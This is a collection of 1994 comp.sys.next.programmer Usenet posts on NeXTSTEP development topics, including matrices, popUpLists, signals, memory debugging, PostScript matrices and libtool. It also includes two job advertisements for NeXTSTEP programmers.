Newsgroups: comp.sys.next.programmer From: gery@ares.fdn.org (gery) Subject: Re: Dynamic/Scolling Matrices Message-ID: <1994Jan31.172200.8865@ares.fdn.org> Sender: news@ares.fdn.org Organization: Ares - Lyon, France. References: <1994Jan30.151028.10008@news.cs.indiana.edu> Date: Mon, 31 Jan 1994 17:22:00 GMT In article <1994Jan30.151028.10008@news.cs.indiana.edu> "Kharim Hogan" <kharim@cs.indiana.edu> writes: > Hi, > > Does anybody know how to implement a dynamically growing matrix? What > I'd like to do is have a matrix of text cells of a predetermined size > which starts up with my application. The number of parameters in both > the X and Y direction that the user enters is never the same. They > have to enter 4 numbers in the X direction but can enter any number > of parameters greater than 4 and the size of the matrix in the Y direction > has to be unlimited. Hence it has to be a minimum of a 4xN matrix which > can't be known beforehand. > > I'd like to specify a 'starting' matrix that will start to scroll in the > X direction (out to the right) if the user 'tabs' beyond the last cell > (column) and creates a new row if the user hits 'return' beyond the last > given row. As well, I'd like this to happen as a scroll window rather > than actually see the complete matrix once done. > > Can anyone help me? I'm still a novice with NeXTStep programming so if > you can either point to the right docs or provide examples of code to do > this, this would be greatly appreciated. > > Thanks much, > Kharim Hogan > > kharim@cs.indiana.edu > > > > The simplest way to do that is to put your matrix in a scroll view So when your user press return ... you check the size of your matrix and if you need to add a row just send the message - addRow followed by a - sizeToFit to the matrix and send a - reflectScroll: yourMatrix to the scrollView if the new matrix is bigger and can't fit in the scrollview, you'll obtain the vertical scroller (scrollview seems to be clever). good Luck Gery DIVRY (ZZVolume Conceptor) ARES Publisher 8, rue Victor Lagrange Phone: (+33) 72 80 16 30 Fax: (+33) 72 80 16 32 69007 LYON Email: gery@ares.fdn.org FRANCE NeXT mail accepted
Newsgroups: comp.sys.next.programmer From: Robert La Ferla <Robert_La_Ferla@hot.com> Subject: Re: ObjC and signals Message-ID: <1994Feb1.133528.424@hot.com> Sender: robertl@hot.com Organization: Hot Technologies References: <CKDKAp.tA@fafnir.com> Date: Tue, 1 Feb 1994 13:35:28 GMT I recommend not using signals in any AppKit based application. Robert La Ferla Hot Technologies NEXTSTEP ISV In article <CKDKAp.tA@fafnir.com> mckelvey@fafnir.com (James W. McKelvey) writes: > Is it safe to make an Objective-C method call in a signal handler? The > docs are silent on this issue as far as I can tell. Obviously you > shouldn't call an instance that might have been interrupted, etc. etc. > > It IS safe to do so with StepStone Objective-C. They set a flag when > the method caches are accessed, and if a signal/AST/whatever has > interrupted and then made a method call, the caches are bypassed. This > makes the signal calls possibly slower, but preserves the integrity of > the caches. > > But what about the NeXT? Does anyone have any hard information? > > > Jim McKelvey mckelvey@fafnir.com > -- > What I did must have been right, or an angel would > have stopped me, just as the angel stopped Abraham > in the Bible. -- Albert Fish, the cannibal > Jim McKelvey mckelvey@fafnir.com
Newsgroups: comp.sys.next.programmer From: Robert La Ferla <Robert_La_Ferla@hot.com> Subject: Re: Implementing an inactivity termination for an app Message-ID: <1994Feb1.133706.484@hot.com> Sender: robertl@hot.com Organization: Hot Technologies References: <2if54a$981@darkstar.UCSC.EDU> Date: Tue, 1 Feb 1994 13:37:06 GMT Art, I recommend not using signals in any AppKit application. Look at "Timed Entries" to implement what you want. Robert La Ferla Hot Technologies NEXTSTEP ISV and Consulting In article <2if54a$981@darkstar.UCSC.EDU> art@cubicsol.com (Art Isbell) writes: > I need to implement a way to automatically terminate an app after a > settable period of inactivity. Not knowing of a better way, I assumed > that by subclassing Application and overriding sendEvent:, I could reset a > Unix alarm on each event that was dispatched to the app. I defined an > ivar of type struct itimerval to hold the inactivity time interval info. > In IB, I reset the application class to my Application subclass and > built the app. It crashes while unarchiving the main nib with the > following (partial) gdb backtrace: > > (gdb) r > Starting program: > /Users/art/Trego/TestHarness/TestHarness.debug/TestHarness > Program generated(1): Memory access exception on address 0x0 (protection > failure). > 0x502dd82 in classIsEqual () > (gdb) where > Reading in symbols for TestHarness_main.m...done. > #0 0x502dd82 in classIsEqual () > #1 0x50091ec in NXHashGet () > #2 0x5009422 in objc_getClass () > #3 0x500b6bc in NXReadClass () > #4 0x500c6fa in InternalReadObject () > #5 0x500ed58 in NXReadObject () > #6 0x16d32 in invertField () > #31 0x6028610 in loadObjectData () > #32 0x6027916 in -[Application loadNibFile:owner:withNames:fromZone:] () > #33 0x604229c in -[Application > _loadNibSegment:section:owner:withNames:fromShlib:fromHeader:fromZone :] () > #34 0x6042172 in -[Application loadNibSection:owner:withNames:] () > #35 0x3cb4 in main (argc=1, argv=0x3fffafc) at TestHarness_main.m:14 > > However, if I make the struct itimerval ivar a static global variable > (yuk!!), everything works fine. > Can anyone see what I'm doing wrong? Is there some problem with having > a struct itimerval ivar (it's a struct with 2 struct members, so it's not > a real simple data structure)? Even making the ivar a struct itimerval * > and dynamically allocating memory for the struct in the +new method fails > in a similar manner, but at a slightly different point in unarchiving the > main nib. > Is there some better way to implement an inactivity app terminator? > --- > Art Isbell Cubic Solutions > NeXT Registered Consultant NEXTSTEP software development and consulting > NeXTmail: art@cubicsol.com Voice: +1 408 335 1154 > USmail: 95018-9442 Fax: +1 408 335 2515
Newsgroups: comp.sys.next.programmer From: Robert La Ferla <Robert_La_Ferla@hot.com> Subject: Re: Access Mail from Custom Application Message-ID: <1994Feb1.134131.548@hot.com> Sender: robertl@hot.com Organization: Hot Technologies References: <2iddc1$2hv@steffi.demon.co.uk> Date: Tue, 1 Feb 1994 13:41:31 GMT I'm not sure if anyone hasn't mentioned this but the API for NEXTMAIL is private. I suppose that if you can live with that, it's alright. All of the palettes, etc... talk to the MailSendDemo named port in Mail via Speaker/Listener. Here's the API: deliver deliver: free openSend openSend: setBody: setBody:inWindow: setCc: setCc:inWindow: setField:with: setField:with:in: setSubject: setSubject:inWindow: setTo: setTo:inWindow: Robert La Ferla Hot Technologies NEXTSTEP ISV and Consulting In article <2iddc1$2hv@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert Nicholson) writes: > Tim Pugh <tpugh@oce.orst.edu> wrote in comp.sys.next.programmer > >In article <1994Jan28.153826.9309@il.us.swissbank.com> > >bernhard@il.us.swissbank.com (Bernhard Straub) writes: > >> We have developed an application that prints letters based on data held in > >> a database. The letter is saved in a .ps file. We are looking for a way to > >> invoke the Mail application, put the adresses (in the To: field) and the > >> subject and place the .ps file icon in the mail. > >> > >> Is there a documentation or sample code for NeXTStep 3.0 to invoke the > >> above actions from a custom application? > > > > Go and take a look at MailComposerPalette available from most archive > sites. It a paletted custom object which uses the speaker/listener > API of Mail.app and does what you want I think. > > For batch mailings though, you should whip up something like Joe > Freeman's JFMailer to build the NeXTMAIL message and pass it to mail or > sendmail directly. If all you are doing is mailing files from within > your application with no need for any user interaction with Mail.app. > ie. no body text then you should attempt to do this. > > If you can use a command line tool via exec in your app, then > perhaps Mr Freeman will grant you permission to use send_attach. > > So if you go in this direction your first step is to disassemble the > NeXTMAIL format. There are a variety of postings about this. One > from Glenn Reid earlier last year and a Mr Paris also put something > useful together with perl filtering code and I believe Carl Edman > included that acknowledement in his mail-app utilities set. > > >Dolphin Kit contains an object Class for communicating with the Mail app and > >sending mail from a custom program. I've not seen or used the object yet, but > >plan to. For more info, send email to info@dolphin.com . It returns NeXTmail > >with an .ps file. > > > > - Tim - > > > >p.s. mail bounced when I used your address. > > > > ----- Transcript of session follows ----- > >421 Host il.us.swissbank.com not found for mailer ddn. > >550 <bernhard@il.us.swissbank.com>... Host unknown > > > >-------------------------------------------------------------- > >Tim Pugh email: tpugh@oce.orst.edu > >Oceanic and Atmospheric Sciences voice: 503-737-2270 > >Oregon State University fax: 503-737-2064 > >NeXTmail ok! > > > -- > "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) > "What?" > "Nothing" (Charade, 1963) > (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer From: jjfeiler@relief.com (John Jay Feiler) Subject: Re: nxzonemallocnolock probs Message-ID: <CKJ7EC.4z4@relief.com> Sender: jjfeiler@relief.com (John Jay Feiler) Organization: Relief Consulting & Development References: <2ihl0s$ceq@crl.crl.com> Date: Tue, 1 Feb 1994 06:01:23 GMT In article <2ihl0s$ceq@crl.crl.com> mcgredo@crl.com (Donald R. McGregor) writes: > Ick. I'm malloc'ing off a lot of memory and rapidly destroying > it again. Sometimes, in this process, I get crashes at > unpredictable points, with the following partial traceback: > > #0 0x500f5e8 in nxzonemallocnolock () > #1 0x500be70 in nxzonemalloc () > #2 0x500bdec in _class_createInstanceFromZone () > #3 0x5030e90 in + [Object alloc] > [...] > > This is all done in a since thread. The problem is not limited > to the creation of objects; it will sometimes crash on regular > malloc'ing as well. > > Anyone have any insight on what the heck could be happening? > > > -- > Don McGregor | "If you're so special, why aren't you dead?" > mcgredo@crl.com | I've seen this crop up in several applications of mine, but I've only diagnosed it once.... I was running off the end of an array in an object, an stomping on something. The bug goes away when the app is linked with libMallocDebug. If you need a quick fix, try that. Does anyone know of a program which will catch memory stompers like that in ObjC? It'd be handy. Unfortunately, MallocDebug disguises the problem.... John --- John Feiler jjfeiler@relief.com 4926 152nd St. SW NeXTmail Welcome!!! Edmonds, WA 98026-4433 Independent NeXTSTEP Developer --
Newsgroups: comp.sys.next.programmer From: Jacob Gore <jacob@blackbox.enmu.edu> Subject: PostScript setmatrix question Sender: news@math.enmu.edu Message-ID: <1994Feb1.155702.24956@math.enmu.edu> Date: Tue, 1 Feb 1994 15:57:02 GMT Organization: Eastern New Mexico University, Department of Mathematical Sciences As far as I can figure out, the following code should take a 250x150 box with its lower left corner at (100,200) and with "This end up" centered in it, and rotate it 90% around its lower left corner. I obtained the matrix by doing the following multiplication: | 1 0 0| | 0 1 0| | 1 0 0| | 0 1 0| | | | | | | | | | 0 1 0| x | -1 0 0| x | -1 0 0| = | -1 0 0| | | | | | | | | | -100 -200 1| | 0 0 1| | 100 200 1| | 300 100 1| Using this matrix by hand to transform the box's endpoints seems to give correct results, but Yap displays it rotated too far and with the text flipped. What am I doing wrong? Jacob /boxed_text { % Name the paramters /text exch def /font_size exch def /font exch def /height exch def /width exch def /y exch def /x exch def gsave % Draw the box 0.8 setgray newpath x y moveto width 0 rlineto 0 height rlineto width neg 0 rlineto closepath fill % Center and draw the text % font must be chosen for stringwidth to work font findfont font_size scalefont setfont % x pos.: x + (box width)/2 - (text width)/2 x width text stringwidth pop sub 2 div add % y pos.: y + (box height)/2 - (font size)/2 y height font_size 2 div sub 2 div add % go there moveto % draw the text 0.0 setgray % full black text show grestore } def [0 1 -1 0 300 100] setmatrix 100 200 250 150 /Times-Italic 24 (This end up) boxed_text --- Jacob Gore, Eastern NM U. Jacob@BlackBox.ENMU.Edu | Jacob@Gore.Com Member of the League for Programming Freedom (LPF)--lpf@uunet.uu.net
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: need to init a popUpList Date: 1 Feb 1994 11:16:35 -0000 Organization: me organized? That's a joke! Message-ID: <2ildmj$1c9@steffi.demon.co.uk> References: <2ik8ov$dop@wave.aoml.erl.gov> bakker@cyclon.aoml.erl.gov (Cary Bakker) wrote in comp.sys.next.programmer > >I use a popUpList to display a selection of items within an inspector. I want >to be able to set the popUp to a specific item within the list when the >inspector is displayed. Send setTitle to the PopUp's cover button. -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "What?" "Nothing" (Charade, 1963) (ASCII for text only messages)
From: philipp@res.enst.fr (Philippe-Andre Prindeville) Newsgroups: comp.sys.next.programmer,comp.sys.next.misc Subject: Serial driver and high baudrates Date: 1 Feb 1994 18:50:12 GMT Organization: Ecole Nationale Superieure des Telecommunications, Paris FRANCE Distribution: world Message-ID: <2im894$rgm@enst.enst.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit This is kind of detailed, but I was wondering if someone at NeXT could answer. It concerns the serial driver on NSFIP. I have a serial card with (what I think is) a plain vanilla 8530 that I am using for COM2, which is connected to my serial mouse. No problems there. But COM1 is a USR Sportster 14,400 modem that does compression, and data rates (uncompressed) can approach 38,400 baud. The modem uses a National Semiconductor NS16550AN according to USR's tech support. This includes a 16octet FIFO in each direction. This should cut down the interrupts (at 38400 baud) to 38400 / (8 * 16) or 300 interrupts per second. This should not kill a 66Mhz 486DX-2. But I'm seeing some characters being lost. Admittedly, this could be at the other end, I don't know what sort of flow control they use... Locally, I'm using /dev/cufa at 38400 baud, though the notions of flow-control and baud-rate on an internal modem seem a bit strange (since it is plugged into the ISA bus)... Anyway, does the serial driver recognize that it is talking to a 16550 and not an 8530? Does it manage the FIFO correctly? Ie. does it read one character per interrupt or does it read all the contents of the FIFO until the FIFO empties? Also, is it safe to have an 8530 on COM2 and a 16550AN on COM1? Should I disable compression on the modem? I'm trying to find where these lost characters are going... Thanks for any answers. -Philip
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: NXHelpPanel addSupplement:inPath: Date: 1 Feb 1994 18:24:07 -0000 Organization: me organized? That's a joke! Message-ID: <2im6o7$s4@steffi.demon.co.uk> Posted to comp.sys.next.programmer. NXHelpPanel.rtf says..... addSupplement:inPath: - addSupplement:(const char *)helpDirectory inPath:(const char *)supplementPath Adds supplemental help by appending the supplement's TableOfContents.rtf file to the existing table of contents. This method is designed to be used when an application dynamically loads a resource that has its own help information. Returns self. ---- Would somebody mind telling me what helpDirectory refers to? Is it the app's helpDirectory or the supplements helpDirectory? Ditto, what is supplementPath refering to? A sample usage would be fine. The supplements directory/.store???? ---- I want to use this in order to selectively change the help that is used by an apps NXHelpPanel. The app itself will not contain any help. So I want to fool the app's NXHelpPanel into thinking that it has help but that it is located somewhere else. Also, if an App does have a help resource, is it possible to replace that app's help with that in another location whilst the application is running? -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "What?" "Nothing" (Charade, 1963) (ASCII for text only messages)
From: patersk@gb.swissbank.com (Kevin Paterson ) Newsgroups: comp.sys.next.programmer Subject: Re: need to init a popUpList Date: 1 Feb 1994 10:00:24 GMT Organization: Swiss Bank Corporation, High Timber St, London, UK Message-ID: <2il97o$96t@gpo.gb.swissbank.com> References: <2ik8ov$dop@wave.aoml.erl.gov> In article <2ik8ov$dop@wave.aoml.erl.gov> bakker@cyclon.aoml.erl.gov (Cary Bakker) writes: > > I use a popUpList to display a selection of items within an inspector. I want > to be able to set the popUp to a specific item within the list when the > inspector is displayed. > What I normally do is [thePU setTitle:(char*)[[[thePU target] findCellWithTag:aTag] title]]; [[[thePU target] itemList] selectCellWithTag:aTag]; Kevin Swiss Bank Corp London
From: griffid@flash_heart (Dave Griffiths) Newsgroups: comp.sys.next.programmer Subject: Re: Rich Text Source Code?! Date: 1 Feb 1994 16:48:04 GMT Organization: Swiss Bank Corporation, High Timber St, London, UK Message-ID: <2im144$prq@gpo.gb.swissbank.com> References: <1994Jan31.124250.477@afs.com> In article <1994Jan31.124250.477@afs.com> Michael_Pizolato@afs.com (Michael Pizolato) writes: > It is doable, and the support for taking advantage of filter services > already exists, in Pasteboards. I'm up to my eyeballs in it right > now, in another context. IMHO, this is the way to go when supporting > RTF in _any_ utility (IB, cc, whatever). But this requires that "standard" unix utilities like cc have to use special NeXT library routines that are able to carry out this conversion. And suppose (just for the sake of argument), that some people want to use WordPerfect format for their source? I think the only way to do this cleanly and transparently is an OO file system that will allow the unix read() system call to read ascii from an RTF/WP/whatever file. BTW, what's happened to this OO file system now that NeXT's deal with the company that was going to supply it has foundered? Are they writing their own, or have they given up? Does anyone really care? (I don't think I've seen anyone suggest a use for it!) How would you envisage an OO file system being used - does my ascii/rtf example fit in with the design objectives, or are they intended to be used in some quite different way? Dave Griffiths
From: griffid@flash_heart (Dave Griffiths) Newsgroups: comp.sys.next.programmer Subject: Re: Typed streams are evil (I've implemented text, it's better) Date: 1 Feb 1994 18:03:33 GMT Organization: Swiss Bank Corporation, High Timber St, London, UK Message-ID: <2im5hl$sv3@gpo.gb.swissbank.com> References: <1994Jan31.171809.8728@ares.fdn.org> In article <1994Jan31.171809.8728@ares.fdn.org> gery@ares.fdn.org (gery) writes: > Another point to keep in mind is : > Is the precision of data preserved using ascii archiving ???? Yes. > > A simple test : > using printf and scanf > Do a loop writing and reading in a file a double value many time. > (you can do several test with different precisions). > > The final and the original values are barely the sames... That's because your printf isn't outputting the full precision of the floating point number. Any scheme for archiving a floating point number would have to record every single bit in the 4/8 bytes. Nothing difficult about that. Dave Griffiths
From: art@cubicsol.com (Art Isbell) Newsgroups: comp.sys.next.programmer Subject: Re: Categorizing Categories Date: 1 Feb 1994 22:57:09 GMT Organization: University of California, Santa Cruz Distribution: world Message-ID: <2immo5$3ig@darkstar.UCSC.EDU> References: <CKIH0D.1wA@friday.com> In article <CKIH0D.1wA@friday.com> bbum@friday.com writes: > I have been using the following category naming conventions and have found > it to be quite workable: > > Class.Category.h > Class.Category.m > > That is, a category to View named "RectManipulationUtilities" would be: > > View.RectManipulationUtilities.h > View.RectManipulationUtilities.m > > etc... I thought, "Neat, that's what I'll start doing!" Bzzzzzt!! /bin/libtool: warning same member name (TSQualifierPanel) in output file used for input files: m68k_debug_obj/TSQualifierPanel.Action.o and: m68k_debug_obj/TSQualifierPanel.Delegate.o (due to use of basename, truncation, blank padding or duplicate input files) Ah, yes, ar, with its archaic filename limitation of, what, 13 - 14 characters, is still lurking under the guise of libtool, I guess. Can't we get rid of this stupidity, NeXT? But maybe this isn't a serious problem because it's a warning and not a fatal error. I mean, if I don't want to muck with the archive, will it work fine even containing duplicate member names? Do I need to rename all my files to something short and less descriptive ?-) (Remember using emacs with backup files enabled under System V.3 and earlier and having emacs balk at saving a backup because appending that '~' exceeded the 13- or 14-character file name limit - but at least that's better than DOS's 8.3 :-) --- Art Isbell Cubic Solutions NeXT Registered Consultant NEXTSTEP software development and consulting NeXTmail: art@cubicsol.com Voice: +1 408 335 1154 USmail: 95018-9442 Fax: +1 408 335 2515
Newsgroups: comp.sys.next.programmer,comp.sys.next.misc,ba.jobs.offered,misc.jobs.offered From: trout@netcom.com (P. Kim) Subject: Wanted: Nextstep programmer (Bay Area) Message-ID: <troutCKKFAu.1JC@netcom.com> Organization: NETCOM On-line Communication Services (408 241-9760 guest) Date: Tue, 1 Feb 1994 21:49:40 GMT Do not reply to this account. I am posting this for a client. ------------------------------------------------------------------ Marine Terminals Corporation - Career Opportunity ------------------------------------------------- Marine Terminals is a San Francisco based transportation company interested in increasing their competitive advantage through the use of Object-Oriented Technology. We currently have a NeXTSTEP vessel planning system installed at 3 sites along the west coast, and are interested in developing several major new applications. We are looking for an individual with significant NeXTSTEP & UNIX development experience for a fulltime position to lead our application development. We desire someone who is capable of innovative user interface design, and is familiar with object-oriented design principles. Database and networking experience may be useful, but are not required. Replies addressed to: Steve Longbotham (415) 267-1138 Marine Terminals Corporation mtcoak!steve@netcom.com (NeXTmail accepted) 600 Harrison Street, Suite 200 San Francisco, CA 94107
Newsgroups: comp.sys.next.programmer From: montyz@il.us.swissbank.com (Montgomery Zukowski) Subject: When things are inexplicably going wrong Message-ID: <1994Feb1.230746.2258@il.us.swissbank.com> Sender: root@il.us.swissbank.com (Operator) Organization: Swiss Bank Corporation CM&T Division Date: Tue, 1 Feb 1994 23:07:46 GMT I've done this about 15 times in the past two months. When you start to get weird crashes and it seems like your object data is getting screwed up (your isa pointer points to something that has junk in it) then it might be this: The compiler doesn't warn you when you set an instance variable in a class method. If you do this but haven't first set self = [[Instance alloc] init], then you are writing over your class instance variables (they do have instance variables, you just can't add your own). When you write over your instance variables like that you get weird problems in objc_msgSend() or other runtime functions. You basically hose the object metadata and you will crash later on when you try to do something with that object. Beware! Monty
Newsgroups: comp.sys.next.programmer From: byer@mv.us.adobe.com (Scott Byer) Subject: Re: PostScript setmatrix question In-Reply-To: Jacob Gore's message of Tue, 1 Feb 1994 15:57:02 GMT Message-ID: <BYER.94Feb1163002@birch.mv.us.adobe.com> Sender: usenet@adobe.com (USENET NEWS) Organization: Adobe Systems Incorporated, Mountain View, CA References: <1994Feb1.155702.24956@math.enmu.edu> Date: Wed, 2 Feb 1994 00:30:02 GMT In article <1994Feb1.155702.24956@math.enmu.edu> Jacob Gore <jacob@blackbox.enmu.edu> writes: > As far as I can figure out, the following code should take a > 250x150 box with its lower left corner at (100,200) and with > "This end up" centered in it, and rotate it 90% around its > lower left corner. > Using this matrix by hand to transform the box's endpoints seems > to give correct results, but Yap displays it rotated too far > and with the text flipped. > What am I doing wrong? Nothing. When run under DisplayTalk, I get the correct results. I'm not sure what Yap is doing, or Preview for that matter - but I suspect they're taking on the printing package in front, and that may be doing something. Probably redefining setmatrix (for your benefit, of course :-). -- Scott Byer NeXTMail: byer@mv.us.adobe.com Adobe Systems Incorporated These are *my* opinions, and 1585 Charleston Road, P.O. Box 7900 do not necessarily reflect Mountain View, CA 94039-7900 the opinions of my employer. ---------------------------------------------------------------------
Newsgroups: comp.sys.next.programmer From: alex@cs.umd.edu (Alex Blakemore) Subject: Re: nxzonemallocnolock probs Message-ID: <CKKGHL.2L9@genoa.com> Sender: alex@genoa.com (Alex Blakemore) Organization: Genoa Software Systems References: <CKJ7EC.4z4@relief.com> Date: Tue, 1 Feb 1994 22:15:21 GMT John Jay Feiler writes > Does anyone know of a program which will catch memory stompers try to get the handout from Julie Z's talk at the last 2 NEXTSTEP conferences "The Zen Of Debugging". She had lots of excellent advice. one suggestion was to try malloc_debug (man malloc) which uses the same allocation strategy as ordinary malloc - MallocDebug on the other hand is very intrusive and totally changes the allocation scheme. both have their place. -- Alex Blakemore alex@cs.umd.edu NeXT mail accepted
Newsgroups: comp.sys.next.programmer From: catsmeat@netcom.com (Peter Thompson) Subject: Re: Driverkit woes Message-ID: <catsmeatCKKzA6.9EG@netcom.com> Summary: It now works...thanks. Keywords: Conversion Driverkit Broken Sigh Organization: Relax, Don't Worry, Have a Homebrew! References: <catsmeatCKGwJ2.7zF@netcom.com> Date: Wed, 2 Feb 1994 05:01:18 GMT Well, the stuff I posted earlier was based on recompiling the entire driver for 3.2. Since the system was complaining about the driver being a 3.1 driver, I thought the best thing to do would be to clean the slate. So, I removed the driver from /usr/Devices, and all the binary stuff from the appropriate directories (in my home), and reboot the system. Once the system was back, I copied the makefile.preamble, makefile.postamble, and the makefile.driver(mumble) into the driver directory. PB built the critter, and I installed, and Miracles of Miracles, it worked. Sorry for the verbiage, but I am a happy camper. Many thanks to the many folks that mailed my help on this. (I think it was the makefiles). Peter Thompson.
From: otto@coactive.com (Dan Hennage) Newsgroups: comp.sys.next.programmer Subject: Re: -object option in cc Date: 2 Feb 1994 06:31:16 GMT Organization: Coactive Aesthetics Inc. Message-ID: <2inhbkINNlhr@disc.coactive.com> References: <Jan31.051654.42166@acs.ucalgary.ca> Andrew MacRae (macrae@geo.ucalgary.ca) wrote: : A question: What exactly does the "-object" option of cc do? The man page for 'ld' explains what this is. The cc driver will pass to ld any options that the compiler is not interested in. Otto -- Otto Lind Coactive Aesthetics otto@coactive.com P.O. Box 425967, San Francisco, CA 94142 netcom!coactive!otto voice:(415)626-5152 fax:(415)626-6320
Newsgroups: comp.sys.next.programmer From: manenber@ibis.ccmail.com Subject: Re: OpenStep/Solaris/Mach? Content-Type: text/plain Message-ID: <manenber.94Jan319470@ibis.ccmail.com> Sender: news@ccmail.com Organization: cc:Mail, A Division of Lotus References: <2ij57s$hiv@skates.gsfc.nasa.gov> Mime-Version: 1.0 Distribution: na Date: 31 Jan 94 09:47:00 ------------------------- >Open Systems Today, Jan.24, 1994, on page 73 has an interesting >ad from SunSoft. They highlight their need for OpenStep developers, >with "NEXTSTEP applications experience highly desired", which isn't >too surprising. What I found more interesting is their emphasis on >"Distributed Applications" and "Distributed Object Systems". The >paragraph on distributed apps specifically requires the job applicants >to have both Objective C and Mach experience. Does this suggest >that they're going to put OpenStep/Solaris on top of Mach? >--Bob-- -..Dr. Robert F. Cahalan (Bob)...#..Laboratory for Atmospheres...... >..cahalan@clouds.gsfc.nasa.gov..#..NASA-Goddard Space Flight Center >..*** NeXTMail accepted ***.....#..Greenbelt, MD 20771............. >..FAX: (301) 286-1627...........#..voice: (301) 286-4276........... ------------------------------- No they just need the mach experience to ferret out all of the mach specifics from NS3.2. Sun will be doing NS/OpenStep over Solaris. Mark Anenberg
Newsgroups: comp.sys.next.programmer From: gery@ares.fdn.org (gery) Subject: Re: need to init a popUpList Message-ID: <1994Feb2.083439.1596@ares.fdn.org> Sender: news@ares.fdn.org Organization: Ares - Lyon, France. References: <2ik8ov$dop@wave.aoml.erl.gov> Date: Wed, 2 Feb 1994 08:34:39 GMT In article <2ik8ov$dop@wave.aoml.erl.gov> bakker@cyclon.aoml.erl.gov (Cary Bakker) writes: > > I use a popUpList to display a selection of items within an inspector. I want > to be able to set the popUp to a specific item within the list when the > inspector is displayed. > > This is what happens: the inspector is updated to contain info on a new object, > so the popUpList is recreated and loses the previous selection. > I want to be able to set, say, the index of the item that should be selected in > the popUp. > > There's prolly some easy way to do this, and that's why I'm asking ;) > Thanks, > > Cary > > -- > ------------------------------------------------------------------------- > Cary A. Bakker | Music is the pleasure the human soul > C.S. Major | experiences from counting without > FLorida International University | being aware that it is counting... > NeXT Programmer | > NOAA/AOML | -- Gottfried W. Leibniz Hello popUp manipulation is not trivial. You'll find following a solution ( un bricolage comme on dit en francais) (a workaround) no the best I am sure the sender is an object answering to -(char *)name his name is present in the popup - changePopUpTitle: sender { char * title; int no; id popUpMenu; // the only way I found to retreive the popUpMenu attached to a popUpButton is to take his target popUpMenu=[popUpButton target]; // retrieve the cell with the title title= [sender name]; no=[popUpMenu indexOfItem:title]; // if no >=0 item is present ( otherwise something is anormal ) if(no>=0) { // Change the text of the PopUpButton [popUpButton setTitle:title]; } return self; } Good Luck Gery DIVRY ( ZZVolume Daddy ) ARES Publisher 8, rue Victor Lagrange Phone: (+33) 72 80 16 30 69007 LYON Fax: (+33) 72 80 16 32 France Email: gery@ares.fdn.org Earth, Solar System, Galaxy N 1 NeXT Mail accepted
Newsgroups: comp.sys.next.programmer From: gery@ares.fdn.org (gery) Subject: Re: need to init a popUpList Message-ID: <1994Feb2.084056.1677@ares.fdn.org> Sender: news@ares.fdn.org Organization: Ares - Lyon, France. References: <2ik8ov$dop@wave.aoml.erl.gov> Date: Wed, 2 Feb 1994 08:40:56 GMT You wrote: > > I use a popUpList to display a selection of items within an inspector. I want > to be able to set the popUp to a specific item within the list when the > inspector is displayed. > > This is what happens: the inspector is updated to contain info on a new object, > so the popUpList is recreated and loses the previous selection. > I want to be able to set, say, the index of the item that should be selected in > the popUp. > > There's prolly some easy way to do this, and that's why I'm asking ;) > Thanks, > > Cary > > -- > ------------------------------------------------------------------------- > Cary A. Bakker | Music is the pleasure the human soul > C.S. Major | experiences from counting without > FLorida International University | being aware that it is counting... > NeXT Programmer | > NOAA/AOML | -- Gottfried W. Leibniz Hello popUp manipulation is not trivial. You'll find following a solution ( un bricolage comme on dit en francais) (a workaround) no the best I am sure the sender is an object answering to -(char *)name his name is present in the popup - changePopUpTitle: sender { char * title; int no; id popUpMenu; // the only way I found to retreive the popUpMenu attached to a popUpButton is to take his target popUpMenu=[popUpButton target]; // retrieve the cell with the title title= [sender name]; no=[popUpMenu indexOfItem:title]; // if no >=0 item is present ( otherwise something is anormal ) if(no>=0) { // Change the text of the PopUpButton [popUpButton setTitle:title]; } return self; } Good Luck Gery DIVRY ( ZZVolume Daddy ) ARES Publisher 8, rue Victor Lagrange Phone: (+33) 72 80 16 30 69007 LYON Fax: (+33) 72 80 16 32 France Email: gery@ares.fdn.org Earth, Solar System, Galaxy N 1 NeXT Mail accepted
From: mcli@minnie.Read.TASC.COM (Maurice C. Ling) Newsgroups: comp.sys.next.programmer Subject: C, C++ programming environment for NS 3.0 Date: 1 Feb 1994 20:52:11 GMT Organization: TASC Message-ID: <2imfdrINNc63@jumbo.read.tasc.com> [ Article crossposted from comp.sys.next.software ] [ Author was Maurice C. Ling ] [ Posted on 1 Feb 1994 20:48:46 GMT ] Maurice C. Ling (mcli@minnie.Read.TASC.COM) wrote: : Hi everyone, : I'm having some troubles getting libg++.a version 2.5.3 working with : gcc 2.5.8. When running "make check", it dies on the first test_h.cc : program, giving: : ld: Undefined symbols: : _S_ISREG : _S_ISCHR : Has anyone else compiled the recent versions of libg++? : BTW: system is a NeXTcube '040 with 16M RAM BTW, I'm running NS 3.0. I saw that ftp.next.com has a libg++ pkg, but it's only good for NS3.1. I would like a stable environment to develop c and c++ code. Would it be best to just use the old libg++ version 1.39(?). Any suggestions would be appreciated. thanks, -Maurice
Newsgroups: misc.jobs.contract,comp.sys.next.programmer From: moirl@cuug.ab.ca (Lindsay Moir B288-4624 H286-7377) Subject: Next Step Programmer/analust positions (consulting firm) Message-ID: <CKJBD5.Gpz@cuug.ab.ca> Date: Tue, 1 Feb 1994 07:27:05 GMT Distribution: na Organization: Calgary UNIX User's Group Hi, I have a consulting practice in Calgary, Alberta, Canada. We are looking for contract positions for NeXT Step programmers/analysts. Qualifications are i) 2 years of NeXT Step programming experience with IB and DB Toolkit ii) 2 years of Sybase iii) Oil and Gas applications development expertise. Preferably in geological or Natural Gas Marketing. iv) Must be willing to relocate to Calgary for a minimum of 6 months. Please email me your CV or contact me directly. Lindsay Lindsay Moir Tragoes Management Inc. 100 Discovery Place One 3553 31 Street NW Calgary, Alberta, Canada T2L 2K7 Phone 403 288 4624 Fax 403 282 1238 email moirl@cuug.ab.ca
